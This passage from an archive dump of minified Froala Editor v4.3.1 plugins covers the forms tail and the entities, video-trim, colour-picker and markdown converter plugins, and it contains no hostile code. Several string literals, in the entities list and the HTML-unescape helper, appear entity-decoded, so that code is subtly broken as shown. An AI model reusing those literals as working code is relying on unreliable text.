o=this.forms.getInput();o&&(this.forms.applyStyle(e),this.forms.showEditPopup(o))},refreshOnShow:function(t,e){var o=this.$,n=this.forms.getInput();if(n){var a=o(n);e.find(".fr-command").each(function(){var t=o(this).data("param1");o(this).toggleClass("fr-active",a.hasClass(t))})}}}),t.DefineIcon("inputEdit",{NAME:"edit",SVG_KEY:"edit"}),t.RegisterCommand("inputEdit",{title:"Edit Button",undo:!1,refreshAfterCallback:!1,callback:function(){this.forms.showUpdatePopup()}}),t.DefineIcon("inputBack",{NAME:"arrow-left",SVG_KEY:"back"}),t.RegisterCommand("inputBack",{title:"Back",undo:!1,focus:!1,back:!0,refreshAfterCallback:!1,callback:function(){this.forms.back()}}),t.RegisterCommand("updateInput",{undo:!1,focus:!1,title:"Update",callback:function(){this.forms.updateInput()}})}); plugins/entities.min.js 0000674 00000005653 00000000000 0011146 0 ustar 00 /*! * froala_editor v4.3.1 (https://www.froala.com/wysiwyg-editor) * License https://froala.com/wysiwyg-editor/terms/ * Copyright 2014-2024 Froala Labs */ !function(e,a){"object"==typeof exports&&"undefined"!=typeof module?a(require("froala-editor")):"function"==typeof define&&define.amd?define(["froala-editor"],a):a(e.FroalaEditor)}(this,function(e){"use strict";e=e&&e.hasOwnProperty("default")?e["default"]:e,Object.assign(e.DEFAULTS,{entities:""'¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖרÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿŒœŠšŸƒˆ˜ΑΒΓΔΕΖΗΘΙΚΛΜΝΞΟΠΡΣΤΥΦΧΨΩαβγδεζηθικλμνξοπρςστυφχψωϑϒϖ   ‌‍‎‏–—‘’‚“”„†‡•…‰′″‹›‾⁄€ℑ℘ℜ™ℵ←↑→↓↔↵⇐⇑⇒⇓⇔∀∂∃∅∇∈∉∋∏∑−∗√∝∞∠∧∨∩∪∫∴∼≅≈≠≡≤≥⊂⊃⊄⊆⊇⊕⊗⊥⋅⌈⌉⌊⌋⟨⟩◊♠♣♥♦"}),e.PLUGINS.entities=function(i){var n,o,l=i.$;function r(e){var a=e.textContent;if(a.match(n)){for(var t="",r=0;r<a.length;r++)o[a[r]]?t+=o[a[r]]:t+=a[r];e.textContent=t}}function u(e){if(e&&0<=["STYLE","SCRIPT","svg","IFRAME"].indexOf(e.tagName))return!0;for(var a=i.node.contents(e),t=0;t<a.length;t++)a[t].nodeType===Node.TEXT_NODE?r(a[t]):u(a[t]);return e.nodeType===Node.TEXT_NODE&&r(e),!1}var c=function c(e){return 0===e.length?"":i.clean.exec(e,u).replace(/\&/g,"&")};return{_init:function s(){i.opts.htmlSimpleAmpersand||(i.opts.entities="".concat(i.opts.entities,"&"));var e=l(document.createElement("div")).html(i.opts.entities).text(),a=i.opts.entities.split(";");o={},n="";for(var t=0;t<e.length;t++){var r=e.charAt(t);o[r]="".concat(a[t],";"),n+="\\".concat(r+(t<e.length-1?"|":""))}n=new RegExp("(".concat(n,")"),"g"),i.events.on("html.get",c,!0)}}}}); plugins/trim_video.min.js 0000674 00000013020 00000000000 0011446 0 ustar 00 /*! * froala_editor v4.3.1 (https://www.froala.com/wysiwyg-editor) * License https://froala.com/wysiwyg-editor/terms/ * Copyright 2014-2024 Froala Labs */ !function(e,t){"object"==typeof exports&&"undefined"!=typeof module?t(require("froala-editor")):"function"==typeof define&&define.amd?define(["froala-editor"],t):t(e.FroalaEditor)}(this,function(e){"use strict";(e=e&&e.hasOwnProperty("default")?e["default"]:e).PLUGINS.trimVideoPlugin=function(c){var o,d,s,l,u,m,f,v,r;function p(e){e.preventDefault(),null!=l&&l.abort(),l=null;var t=document.getElementById("videoTrimContainer");t.parentNode.removeChild(t),c.filesManager.setChildWindowState(!1)}function g(e){var t=parseInt(e,10),n=Math.floor(t/3600)?String(Math.floor(t/3600)):"00",a=Math.floor(t/60)%60?String(Math.floor(t/60)%60):"00",i=t%60?String(t%60):"00";return i=i.length<2?"0"+i:i,a=a.length<2?"0"+a:a,(n=n.length<2?"0"+n:n)+":"+a+":"+i}function y(e){e.preventDefault();var t=g(document.getElementById("startTime").value),n=g(document.getElementById("endTime").value);o.constructor===Blob&&(o=new File([o],o.name,{type:o.type||"",lastModified:o.lastModified}));var a=new FormData;a.append("startTime",t),a.append("endTime",n),a.append("file",o);var i=new XMLHttpRequest;document.getElementById("trim-file-loader").classList.add("fr-file-loader"),document.getElementsByClassName("fr-trim-button")[0].style.display="none",i.onload=function(){if(200==this.status){var e=new Blob([this.response],{type:this.response.type||""});e.name=o.name,e.lastModified=o.lastModified,e.lastModifiedDate=o.lastModifiedDate,r.set(d,e),c.filesManager.upload(e,[],null,d),document.getElementById("trim-file-loader").classList.remove("fr-file-loader"),document.getElementsByClassName("fr-trim-button")[0].style.display="block";var t=document.getElementById("videoTrimContainer");t.parentNode.removeChild(t),c.filesManager.setChildWindowState(!1)}},i.open("POST","http://localhost:3000/convert",!0),i.responseType="blob",(l=i).send(a)}return{_init:function e(){},trimVideo:function i(e,t,n){o=e,d=t,r=n,function a(){var e=URL.createObjectURL(o),t=c.o_doc.body,n=c.o_doc.createElement("div");n.setAttribute("id","videoTrimContainer"),n.style.cssText="position: fixed; top: 0;left: 0;padding: 0;overflow-y:auto;width: 100%;height: 100%;background: rgba(0,0,0,0.4);z-index: 9998;display:block",t.appendChild(n);var r=document.createElement("div");r.setAttribute("id","fr-form-container"),r.innerHTML='\n <h3 class="fr-trim-video-name"> '.concat(o.name.replace(/\.[^.]*$/,""),"</h3>\n <div style='display:block;text-align: center; margin-left:50%;' id='trim-file-loader'></div>\n <video id='fr-video-edit' controls>\n <source src=").concat(e," >\n Your browser does not support the video tag.\n </video> \n "),document.getElementById("videoTrimContainer").appendChild(r),document.getElementById("fr-video-edit").addEventListener("loadedmetadata",function(){s=document.getElementById("fr-video-edit").duration,r.innerHTML+=' \n \n <form>\n <center>\n <section class="fr-range-slider ">\n <div id="startTimeValue" class=" fr-range-value-start"> </div>\n <input type="range" class="fr-slider" value=\'0\' min="0" max='.concat(s,' id=\'startTime\' >\n <div id="endTimeValue" class="fr-range-value-end" ></div>\n <input type="range"class="fr-slider" value=').concat(s," min='0' max=").concat(s," id='endTime'>\n <div id=\"selectedRange\"style=\" pointer-events: none; position: absolute;left: 0;top: 12px;width: 100%;\n outline: none;\n height: 6px;\n border-radius: 10px;\"></div>\n </section>\n </center>\n <div class=\"fr-video-trim-buttons\" >\n <button id='convert' class='fr-trim-button'>").concat(c.language.translate("Trim"),"</button> \n <button id='cancel' class='fr-trim-button' onsubmit='cancel()'>").concat(c.language.translate("Cancel"),"</button>\n </div>\n </form>\n ");var t=document.getElementById("startTime"),e=document.getElementById("startTimeValue"),n=function n(){u=Number(100*(t.value-t.min)/(t.max-t.min)),m=10-.2*u,f=Number(100*(a.value-a.min)/(a.max-a.min)),v=10-.2*f,e.innerHTML="<span>".concat(g(t.value),"</span>"),e.style.left="calc(".concat(u,"% + (").concat(m,"px))"),selectedRange.style.left=e.style.left,selectedRange.style.width="calc((".concat(f,"% + (").concat(v,"px)) - (").concat(u,"% + (").concat(m,"px)))"),selectedRange.style.backgroundColor="#03A9F4"};document.addEventListener("DOMContentLoaded",n);var a=document.getElementById("endTime"),i=document.getElementById("endTimeValue"),o=function o(){u=Number(100*(t.value-t.min)/(t.max-t.min)),m=10-.2*u,f=Number(100*(a.value-a.min)/(a.max-a.min)),v=10-.2*f,i.innerHTML="<span>".concat(g(a.value),"</span>"),i.style.left="calc(".concat(f,"% + (").concat(v,"px))");var e=document.getElementById("selectedRange");e.style.left="calc(".concat(u,"% + (").concat(m,"px))"),e.style.width="calc((".concat(f,"% + (").concat(v,"px)) - (").concat(u,"% + (").concat(m,"px)))"),e.style.backgroundColor="#03A9F4"};document.addEventListener("DOMContentLoaded",o),document.getElementById("convert").addEventListener("click",y),document.getElementById("cancel").addEventListener("click",p);var d=document.getElementById("startTime"),l=document.getElementById("endTime");d.oninput=function(e){if(Number(d.value)>=Number(l.value))return e.preventDefault(),d.value=String(Number(l.value)-1),!1;n()},l.oninput=function(e){if(Number(l.value)<=Number(d.value))return e.preventDefault(),l.value=String(Number(d.value)+1),!1;o()}})}()}}}}); plugins/colors.min.js 0000674 00000017157 00000000000 0010625 0 ustar 00 /*! * froala_editor v4.3.1 (https://www.froala.com/wysiwyg-editor) * License https://froala.com/wysiwyg-editor/terms/ * Copyright 2014-2024 Froala Labs */ !function(o,t){"object"==typeof exports&&"undefined"!=typeof module?t(require("froala-editor")):"function"==typeof define&&define.amd?define(["froala-editor"],t):t(o.FroalaEditor)}(this,function(k){"use strict";k=k&&k.hasOwnProperty("default")?k["default"]:k,Object.assign(k.POPUP_TEMPLATES,{"textColor.picker":"[_BUTTONS_][_TEXT_COLORS_][_CUSTOM_COLOR_]","backgroundColor.picker":"[_BUTTONS_][_BACKGROUND_COLORS_][_CUSTOM_COLOR_]"}),Object.assign(k.DEFAULTS,{colorsText:["#61BD6D","#1ABC9C","#54ACD2","#2C82C9","#9365B8","#475577","#CCCCCC","#41A85F","#00A885","#3D8EB9","#2969B0","#553982","#28324E","#000000","#F7DA64","#FBA026","#EB6B56","#E25041","#A38F84","#EFEFEF","#FFFFFF","#FAC51C","#F37934","#D14841","#B8312F","#7C706B","#D1D5D8","REMOVE"],colorsBackground:["#61BD6D","#1ABC9C","#54ACD2","#2C82C9","#9365B8","#475577","#CCCCCC","#41A85F","#00A885","#3D8EB9","#2969B0","#553982","#28324E","#000000","#F7DA64","#FBA026","#EB6B56","#E25041","#A38F84","#EFEFEF","#FFFFFF","#FAC51C","#F37934","#D14841","#B8312F","#7C706B","#D1D5D8","REMOVE"],colorsStep:7,colorsHEXInput:!0,colorsButtons:["colorsBack","|","-"]}),k.PLUGINS.colors=function(g){var E=g.$,l='<div class="fr-color-hex-layer fr-active fr-layer" id="fr-color-hex-layer- \n '.concat(g.id,'"><div class="fr-input-line"><input maxlength="7" id="[ID]"\n type="text" placeholder="').concat(g.language.translate("HEX Color"),'" \n tabIndex="1" aria-required="true"></div><div class="fr-action-buttons"><button \n type="button" class="fr-command fr-submit" data-cmd="[COMMAND]" tabIndex="2" role="button">\n ').concat(g.language.translate("OK"),"</button></div></div>");function s(o){for(var t="text"===o?g.opts.colorsText:g.opts.colorsBackground,r='<div class="fr-color-set fr-'.concat(o,'-color fr-selected-set">'),e=0;e<t.length;e++)0!==e&&e%g.opts.colorsStep==0&&(r+="<br>"),"REMOVE"!==t[e]?r+='<span class="fr-command fr-select-color" style="background:'.concat(t[e],';" \n tabIndex="-1" aria-selected="false" role="button" data-cmd="apply').concat(o,'Color" \n data-param1="').concat(t[e],'"><span class="fr-sr-only"> ').concat(g.language.translate("Color")).concat(t[e]," \n </span></span>"):r+='<span class="fr-command fr-select-color" data-cmd="apply'.concat(o,'Color"\n tabIndex="-1" role="button" data-param1="REMOVE" \n title="').concat(g.language.translate("Clear Formatting"),'">').concat(g.icon.create("remove"),' \n <span class="fr-sr-only"> ').concat(g.language.translate("Clear Formatting")," </span></span>");return"".concat(r,"</div>")}function i(o){var t,r=g.popups.get("".concat(o,"Color.picker")),e=E(g.selection.element());t="background"===o?"background-color":"color";var c=r.find(".fr-".concat(o,"-color .fr-select-color"));for(c.find(".fr-selected-color").remove(),c.removeClass("fr-active-item"),c.not('[data-param1="REMOVE"]').attr("aria-selected",!1);e.get(0)!==g.el;){if("transparent"!==e.css(t)&&"rgba(0, 0, 0, 0)"!==e.css(t)){var a=r.find(".fr-".concat(o,'-color .fr-select-color[data-param1="').concat(g.helpers.RGBToHex(e.css(t)),'"]'));a.append('<span class="fr-selected-color" aria-hidden="true">\uf00c</span>'),a.addClass("fr-active-item").attr("aria-selected",!0);break}e=e.parent()}!function n(o){var t=g.popups.get("".concat(o,"Color.picker")),r=t.find(".fr-".concat(o,"-color .fr-active-item")).attr("data-param1"),e=t.find(".fr-color-hex-layer input");r||(r="");e.length&&E(e.val(r).input).trigger("change")}(o)}function e(o){"REMOVE"!==o?g.format.applyStyle("background-color",g.helpers.HEXtoRGB(o)):g.format.removeStyle("background-color"),g.popups.hide("backgroundColor.picker")}function c(o){"REMOVE"!==o?g.format.applyStyle("color",g.helpers.HEXtoRGB(o)):g.format.removeStyle("color"),g.popups.hide("textColor.picker")}return{showColorsPopup:function p(o){var t=g.$tb.find('.fr-command[data-cmd="'.concat(o,'"]')),r=g.popups.get("".concat(o,".picker"));if(r||(r=function n(o){var t="";g.opts.toolbarInline&&0<g.opts.colorsButtons.length&&(t+='<div class="fr-buttons fr-colors-buttons fr-tabs">\n '.concat(g.button.buildList(g.opts.colorsButtons),"\n </div>"));var r,e="";r="textColor"===o?(g.opts.colorsHEXInput&&(e=l.replace(/\[ID\]/g,"fr-color-hex-layer-text-".concat(g.id)).replace(/\[COMMAND\]/g,"customTextColor")),{buttons:t,text_colors:s("text"),custom_color:e}):(g.opts.colorsHEXInput&&(e=l.replace(/\[ID\]/g,"fr-color-hex-layer-background-".concat(g.id)).replace(/\[COMMAND\]/g,"customBackgroundColor")),{buttons:t,background_colors:s("background"),custom_color:e});var c=g.popups.create("".concat(o,".picker"),r);return function a(C,b){g.events.on("popup.tab",function(o){var t=E(o.currentTarget);if(!g.popups.isVisible(b)||!t.is("span"))return!0;var r=o.which,e=!0;if(k.KEYCODE.TAB===r){var c=C.find(".fr-buttons");e=!g.accessibility.focusToolbar(c,!!o.shiftKey)}else if(k.KEYCODE.ARROW_UP===r||k.KEYCODE.ARROW_DOWN===r||k.KEYCODE.ARROW_LEFT===r||k.KEYCODE.ARROW_RIGHT===r){if(t.is("span.fr-select-color")){var a=t.parent().find("span.fr-select-color"),n=a.index(t),l=g.opts.colorsStep,s=Math.floor(a.length/l),i=n%l,p=Math.floor(n/l),u=p*l+i,d=s*l;k.KEYCODE.ARROW_UP===r?u=((u-l)%d+d)%d:k.KEYCODE.ARROW_DOWN===r?u=(u+l)%d:k.KEYCODE.ARROW_LEFT===r?u=((u-1)%d+d)%d:k.KEYCODE.ARROW_RIGHT===r&&(u=(u+1)%d);var f=E(a.get(u));g.events.disableBlur(),f.focus(),e=!1}}else k.KEYCODE.ENTER===r&&(g.button.exec(t),e=!1);return!1===e&&(o.preventDefault(),o.stopPropagation()),e},!0)}(c,"".concat(o,".picker")),c}(o)),!r.hasClass("fr-active"))if(g.popups.setContainer("".concat(o,".picker"),g.$tb),i("textColor"===o?"text":"background"),t.isVisible()){var e=g.button.getPosition(t),c=e.left,a=e.top;g.popups.show("".concat(o,".picker"),c,a,t.outerHeight())}else g.position.forSelection(r),g.popups.show("".concat(o,".picker"))},background:e,customColor:function a(o){var t=g.popups.get("".concat(o,"Color.picker")).find(".fr-color-hex-layer input");if(t.length){var r=t.val();"background"===o?e(r):c(r)}},text:c,back:function o(){g.popups.hide("textColor.picker"),g.popups.hide("backgroundColor.picker"),g.toolbar.showInline()}}},k.DefineIcon("textColor",{NAME:"tint",SVG_KEY:"textColor"}),k.RegisterCommand("textColor",{title:"Text Color",undo:!1,focus:!0,refreshOnCallback:!1,popup:!0,callback:function(){this.popups.isVisible("textColor.picker")?(this.$el.find(".fr-marker").length&&(this.events.disableBlur(),this.selection.restore()),this.popups.hide("textColor.picker")):this.colors.showColorsPopup("textColor")}}),k.RegisterCommand("applytextColor",{undo:!0,callback:function(o,t){this.colors.text(t)}}),k.RegisterCommand("customTextColor",{title:"OK",undo:!0,callback:function(){this.colors.customColor("text")}}),k.DefineIcon("backgroundColor",{NAME:"paint-brush",SVG_KEY:"backgroundColor"}),k.RegisterCommand("backgroundColor",{title:"Background Color",undo:!1,focus:!0,refreshOnCallback:!1,popup:!0,callback:function(){this.popups.isVisible("backgroundColor.picker")?(this.$el.find(".fr-marker").length&&(this.events.disableBlur(),this.selection.restore()),this.popups.hide("backgroundColor.picker")):this.colors.showColorsPopup("backgroundColor")}}),k.RegisterCommand("applybackgroundColor",{undo:!0,callback:function(o,t){this.colors.background(t)}}),k.RegisterCommand("customBackgroundColor",{title:"OK",undo:!0,callback:function(){this.colors.customColor("background")}}),k.DefineIcon("colorsBack",{NAME:"arrow-left",SVG_KEY:"back"}),k.RegisterCommand("colorsBack",{title:"Back",undo:!1,focus:!1,back:!0,refreshAfterCallback:!1,callback:function(){this.colors.back()}}),k.DefineIcon("remove",{NAME:"eraser",SVG_KEY:"remove"})}); plugins/markdown.min.js 0000674 00000265315 00000000000 0011147 0 ustar 00 /*! * froala_editor v4.3.1 (https://www.froala.com/wysiwyg-editor) * License https://froala.com/wysiwyg-editor/terms/ * Copyright 2014-2024 Froala Labs */ !function(e,r){"object"==typeof exports&&"undefined"!=typeof module?r(require("froala-editor")):"function"==typeof define&&define.amd?define(["froala-editor"],r):r(e.FroalaEditor)}(this,function(e){"use strict";function p(e){return(p="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}function t(e){var r={omitExtraWLInCodeBlocks:{defaultValue:!1,describe:"Omit the default extra whiteline added to code blocks",type:"boolean"},noHeaderId:{defaultValue:!1,describe:"Turn on/off generated header id",type:"boolean"},prefixHeaderId:{defaultValue:!1,describe:"Add a prefix to the generated header ids. Passing a string will prefix that string to the header id. Setting to true will add a generic 'section-' prefix",type:"string"},rawPrefixHeaderId:{defaultValue:!1,describe:'Setting this option to true will prevent showdown from modifying the prefix. This might result in malformed IDs (if, for instance, the " char is used in the prefix)',type:"boolean"},ghCompatibleHeaderId:{defaultValue:!1,describe:"Generate header ids compatible with github style (spaces are replaced with dashes, a bunch of non alphanumeric chars are removed)",type:"boolean"},rawHeaderId:{defaultValue:!1,describe:"Remove only spaces, ' and \" from generated header ids (including prefixes), replacing them with dashes (-). WARNING: This might result in malformed ids",type:"boolean"},headerLevelStart:{defaultValue:!1,describe:"The header blocks level start",type:"integer"},parseImgDimensions:{defaultValue:!1,describe:"Turn on/off image dimension parsing",type:"boolean"},simplifiedAutoLink:{defaultValue:!1,describe:"Turn on/off GFM autolink style",type:"boolean"},excludeTrailingPunctuationFromURLs:{defaultValue:!1,describe:"Excludes trailing punctuation from links generated with autoLinking",type:"boolean"},literalMidWordUnderscores:{defaultValue:!1,describe:"Parse midword underscores as literal underscores",type:"boolean"},literalMidWordAsterisks:{defaultValue:!1,describe:"Parse midword asterisks as literal asterisks",type:"boolean"},strikethrough:{defaultValue:!1,describe:"Turn on/off strikethrough support",type:"boolean"},tables:{defaultValue:!1,describe:"Turn on/off tables support",type:"boolean"},tablesHeaderId:{defaultValue:!1,describe:"Add an id to table headers",type:"boolean"},ghCodeBlocks:{defaultValue:!0,describe:"Turn on/off GFM fenced code blocks support",type:"boolean"},tasklists:{defaultValue:!1,describe:"Turn on/off GFM tasklist support",type:"boolean"},smoothLivePreview:{defaultValue:!1,describe:"Prevents weird effects in live previews due to incomplete input",type:"boolean"},smartIndentationFix:{defaultValue:!1,description:"Tries to smartly fix indentation in es6 strings",type:"boolean"},disableForced4SpacesIndentedSublists:{defaultValue:!1,description:"Disables the requirement of indenting nested sublists by 4 spaces",type:"boolean"},simpleLineBreaks:{defaultValue:!1,description:"Parses simple line breaks as <br> (GFM Style)",type:"boolean"},requireSpaceBeforeHeadingText:{defaultValue:!1,description:"Makes adding a space between `#` and the header text mandatory (GFM Style)",type:"boolean"},ghMentions:{defaultValue:!1,description:"Enables github @mentions",type:"boolean"},ghMentionsLink:{defaultValue:"https://github.com/{u}",description:"Changes the link generated by @mentions. Only applies if ghMentions option is enabled.",type:"string"},encodeEmails:{defaultValue:!0,description:"Encode e-mail addresses through the use of Character Entities, transforming ASCII e-mail addresses into its equivalent decimal entities",type:"boolean"},openLinksInNewWindow:{defaultValue:!1,description:"Open all links in new windows",type:"boolean"},backslashEscapesHTMLTags:{defaultValue:!1,description:"Support for HTML Tag escaping. ex: <div>foo</div>",type:"boolean"},emoji:{defaultValue:!1,description:"Enable emoji support. Ex: `this is a :smile: emoji`",type:"boolean"},underline:{defaultValue:!1,description:"Enable support for underline. Syntax is double or triple underscores: `__underline word__`. With this option enabled, underscores no longer parses into `<em>` and `<strong>`",type:"boolean"},completeHTMLDocument:{defaultValue:!1,description:"Outputs a complete html document, including `<html>`, `<head>` and `<body>` tags",type:"boolean"},metadata:{defaultValue:!1,description:"Enable support for document metadata (defined at the top of the document between `\xab\xab\xab` and `\xbb\xbb\xbb` or between `---` and `---`).",type:"boolean"},splitAdjacentBlockquotes:{defaultValue:!1,description:"Split adjacent blockquote blocks",type:"boolean"}};if(!1===e)return JSON.parse(JSON.stringify(r));var a={};for(var t in r)r.hasOwnProperty(t)&&(a[t]=r[t].defaultValue);return a}e=e&&e.hasOwnProperty("default")?e["default"]:e;var y={},a={},h={},f=t(!0),g="vanilla",m={github:{omitExtraWLInCodeBlocks:!0,simplifiedAutoLink:!0,excludeTrailingPunctuationFromURLs:!0,literalMidWordUnderscores:!0,strikethrough:!0,tables:!0,tablesHeaderId:!0,ghCodeBlocks:!0,tasklists:!0,disableForced4SpacesIndentedSublists:!0,simpleLineBreaks:!0,requireSpaceBeforeHeadingText:!0,ghCompatibleHeaderId:!0,ghMentions:!0,backslashEscapesHTMLTags:!0,emoji:!0,splitAdjacentBlockquotes:!0},original:{noHeaderId:!0,ghCodeBlocks:!1},ghost:{omitExtraWLInCodeBlocks:!0,parseImgDimensions:!0,simplifiedAutoLink:!0,excludeTrailingPunctuationFromURLs:!0,literalMidWordUnderscores:!0,strikethrough:!0,tables:!0,tablesHeaderId:!0,ghCodeBlocks:!0,tasklists:!0,smoothLivePreview:!0,simpleLineBreaks:!0,requireSpaceBeforeHeadingText:!0,ghMentions:!1,encodeEmails:!0},vanilla:t(!0),allOn:function w(){var e=t(!0),r={};for(var a in e)e.hasOwnProperty(a)&&(r[a]=!0);return r}()};function _(e,r){var a=r?"Error in "+r+" extension->":"Error in unnamed extension",t={valid:!0,error:""};y.helper.isArray(e)||(e=[e]);for(var n=0;n<e.length;++n){var o=a+" sub-extension "+n+": ",s=e[n];if("object"!==p(s))return t.valid=!1,t.error=o+"must be an object, but "+p(s)+" given",t;if(!y.helper.isString(s.type))return t.valid=!1,t.error=o+'property "type" must be a string, but '+p(s.type)+" given",t;var i=s.type=s.type.toLowerCase();if("language"===i&&(i=s.type="lang"),"html"===i&&(i=s.type="output"),"lang"!==i&&"output"!==i&&"listener"!==i)return t.valid=!1,t.error=o+"type "+i+' is not recognized. Valid values: "lang/language", "output/html" or "listener"',t;if("listener"===i){if(y.helper.isUndefined(s.listeners))return t.valid=!1,t.error=o+'. Extensions of type "listener" must have a property called "listeners"',t}else if(y.helper.isUndefined(s.filter)&&y.helper.isUndefined(s.regex))return t.valid=!1,t.error=o+i+' extensions must define either a "regex" property or a "filter" method',t;if(s.listeners){if("object"!==p(s.listeners))return t.valid=!1,t.error=o+'"listeners" property must be an object but '+p(s.listeners)+" given",t;for(var l in s.listeners)if(s.listeners.hasOwnProperty(l)&&"function"!=typeof s.listeners[l])return t.valid=!1,t.error=o+'"listeners" property must be an hash of [event name]: [callback]. listeners.'+l+" must be a function but "+p(s.listeners[l])+" given",t}if(s.filter){if("function"!=typeof s.filter)return t.valid=!1,t.error=o+'"filter" must be a function, but '+p(s.filter)+" given",t}else if(s.regex){if(y.helper.isString(s.regex)&&(s.regex=new RegExp(s.regex,"g")),!(s.regex instanceof RegExp))return t.valid=!1,t.error=o+'"regex" property must either be a string or a RegExp object, but '+p(s.regex)+" given",t;if(y.helper.isUndefined(s.replace))return t.valid=!1,t.error=o+'"regex" extensions must implement a replace string or function',t}}return t}function o(e,r){return"\xa8E"+r.charCodeAt(0)+"E"}y.helper={},y.extensions={},y.setOption=function(e,r){return f[e]=r,this},y.getOption=function(e){return f[e]},y.getOptions=function(){return f},y.resetOptions=function(){f=t(!0)},y.setFlavor=function(e){if(!m.hasOwnProperty(e))throw Error(e+" flavor was not found");y.resetOptions();var r=m[e];for(var a in g=e,r)r.hasOwnProperty(a)&&(f[a]=r[a])},y.getFlavor=function(){return g},y.getFlavorOptions=function(e){if(m.hasOwnProperty(e))return m[e]},y.getDefaultOptions=function(e){return t(e)},y.subParser=function(e,r){if(y.helper.isString(e)){if(void 0===r){if(a.hasOwnProperty(e))return a[e];throw Error("SubParser named "+e+" not registered!")}a[e]=r}},y.extension=function(e,r){if(!y.helper.isString(e))throw Error("Extension 'name' must be a string");if(e=y.helper.stdExtName(e),y.helper.isUndefined(r)){if(!h.hasOwnProperty(e))throw Error("Extension named "+e+" is not registered!");return h[e]}"function"==typeof r&&(r=r()),y.helper.isArray(r)||(r=[r]);var a=_(r,e);if(!a.valid)throw Error(a.error);h[e]=r},y.getAllExtensions=function(){return h},y.removeExtension=function(e){delete h[e]},y.resetExtensions=function(){h={}},y.validateExtension=function(e){var r=_(e,null);return!!r.valid},y.hasOwnProperty("helper")||(y.helper={}),y.helper.isString=function(e){return"string"==typeof e||e instanceof String},y.helper.isFunction=function(e){return e&&"[object Function]"==={}.toString.call(e)},y.helper.isArray=function(e){return Array.isArray(e)},y.helper.isUndefined=function(e){return void 0===e},y.helper.forEach=function(e,r){if(y.helper.isUndefined(e))throw new Error("obj param is required");if(y.helper.isUndefined(r))throw new Error("callback param is required");if(!y.helper.isFunction(r))throw new Error("callback param must be a function/closure");if("function"==typeof e.forEach)e.forEach(r);else if(y.helper.isArray(e))for(var a=0;a<e.length;a++)r(e[a],a,e);else{if("object"!==p(e))throw new Error("obj does not seem to be an array or an iterable object");for(var t in e)e.hasOwnProperty(t)&&r(e[t],t,e)}},y.helper.stdExtName=function(e){return e.replace(/[_?*+\/\\.^-]/g,"").replace(/\s/g,"").toLowerCase()},y.helper.escapeCharactersCallback=o,y.helper.escapeCharacters=function(e,r,a){var t="(["+r.replace(/([\[\]\\])/g,"\\$1")+"])";a&&(t="\\\\"+t);var n=new RegExp(t,"g");return e=e.replace(n,o)},y.helper.unescapeHTMLEntities=function(e){return e.replace(/"/g,'"').replace(/</g,"<").replace(/>/g,">").replace(/&/g,"&")};var b=function b(e,r,a,t){var n,o,s,i,l,c=t||"",u=-1<c.indexOf("g"),d=new RegExp(r+"|"+a,"g"+c.replace(/g/g,"")),p=new RegExp(r,c.replace(/g/g,"")),h=[];do{for(n=0;s=d.exec(e);)if(p.test(s[0]))n++||(i=(o=d.lastIndex)-s[0].length);else if(n&&!--n){l=s.index+s[0].length;var f={left:{start:i,end:o},match:{start:o,end:s.index},right:{start:s.index,end:l},wholeMatch:{start:i,end:l}};if(h.push(f),!u)return h}}while(n&&(d.lastIndex=o));return h};y.helper.matchRecursiveRegExp=function(e,r,a,t){for(var n=b(e,r,a,t),o=[],s=0;s<n.length;++s)o.push([e.slice(n[s].wholeMatch.start,n[s].wholeMatch.end),e.slice(n[s].match.start,n[s].match.end),e.slice(n[s].left.start,n[s].left.end),e.slice(n[s].right.start,n[s].right.end)]);return o},y.helper.replaceRecursiveRegExp=function(e,r,a,t,n){if(!y.helper.isFunction(r)){var o=r;r=function r(){return o}}var s=b(e,a,t,n),i=e,l=s.length;if(0<l){var c=[];0!==s[0].wholeMatch.start&&c.push(e.slice(0,s[0].wholeMatch.start));for(var u=0;u<l;++u)c.push(r(e.slice(s[u].wholeMatch.start,s[u].wholeMatch.end),e.slice(s[u].match.start,s[u].match.end),e.slice(s[u].left.start,s[u].left.end),e.slice(s[u].right.start,s[u].right.end))),u<l-1&&c.push(e.slice(s[u].wholeMatch.end,s[u+1].wholeMatch.start));s[l-1].wholeMatch.end<e.length&&c.push(e.slice(s[l-1].wholeMatch.end)),i=c.join("")}return i},y.helper.regexIndexOf=function(e,r,a){if(!y.helper.isString(e))throw"InvalidArgumentError: first parameter of showdown.helper.regexIndexOf function must be a string";if(r instanceof RegExp==!1)throw"InvalidArgumentError: second parameter of showdown.helper.regexIndexOf function must be an instance of RegExp";var t=e.substring(a||0).search(r);return 0<=t?t+(a||0):t},y.helper.splitAtIndex=function(e,r){if(!y.helper.isString(e))throw"InvalidArgumentError: first parameter of showdown.helper.regexIndexOf function must be a string";return[e.substring(0,r),e.substring(r)]},y.helper.encodeEmailAddress=function(e){var a=[function(e){return"&#"+e.charCodeAt(0)+";"},function(e){return"&#x"+e.charCodeAt(0).toString(16)+";"},function(e){return e}];return e=e.replace(/./g,function(e){if("@"===e)e=a[Math.floor(2*Math.random())](e);else{var r=Math.random();e=.9<r?a[2](e):.45<r?a[1](e):a[0](e)}return e})},y.helper.padEnd=function(e,r,a){return r>>=0,a=String(a||" "),e.length>r?String(e):((r-=e.length)>a.length&&(a+=a.repeat(r/a.length)),String(e)+a.slice(0,r))},"undefined"==typeof console&&(console={warn:function(e){alert(e)},log:function(e){alert(e)},error:function(e){throw 